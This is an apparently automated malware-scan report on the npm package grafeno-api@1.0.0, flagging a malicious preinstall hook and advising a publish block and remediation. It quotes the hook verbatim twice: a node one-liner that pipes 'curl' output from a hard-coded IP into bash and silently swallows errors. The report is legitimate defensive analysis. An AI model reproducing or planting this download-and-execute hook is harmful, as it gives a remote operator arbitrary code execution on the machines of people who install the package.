AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The confirmed preinstall hook performs concealed remote code execution from an unreviewable payload. The harmless-looking runtime stub does not mitigate this install-time behavior. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-08-28T22:59:59.075Z - **Finished:** 2026-08-28T23:00:20.936Z - **Download time:** 502 ms - **Static scan time:** 7 ms - **AI review time:** 21352 ms - **Total time:** 21861 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package triggers remote shell execution before installation completes. The fetched script is not included for review. - **Trigger:** npm preinstall during package installation - **Impact:** A remote server can run arbitrary commands as the installing user. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T23:00:20.936Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Silent download-and-execute shell pipeline - **Attack narrative:** The package uses an automatic preinstall hook to invoke curl against a hard-coded host and pipe the response directly into Bash. Because the downloaded script is remote and unpinned, its operator controls code executed with the installer’s privileges. Errors are caught and ignored. - **Rationale:** The confirmed preinstall hook performs concealed remote code execution from an unreviewable payload. The harmless-looking runtime stub does not mitigate this install-time behavior. - **Files touched:** package.json - **Network endpoints:** 216.126.236.46/x.sh ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The preinstall hook silently downloads a shell script from a hard-coded remote host and pipes it to Bash., The hook suppresses failures, making the install-time remote execution less visible. - **Evidence against:** The runtime entry point only exports a minimal resolved-promise request stub., No other package files are present. ## Affected versions and remediation This report applies to grafeno-api@1.0.0. - Avoid installing grafeno-api@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}" ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}" ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook silently downloads a shell script from a hard-coded remote host and pipes it to Bash.
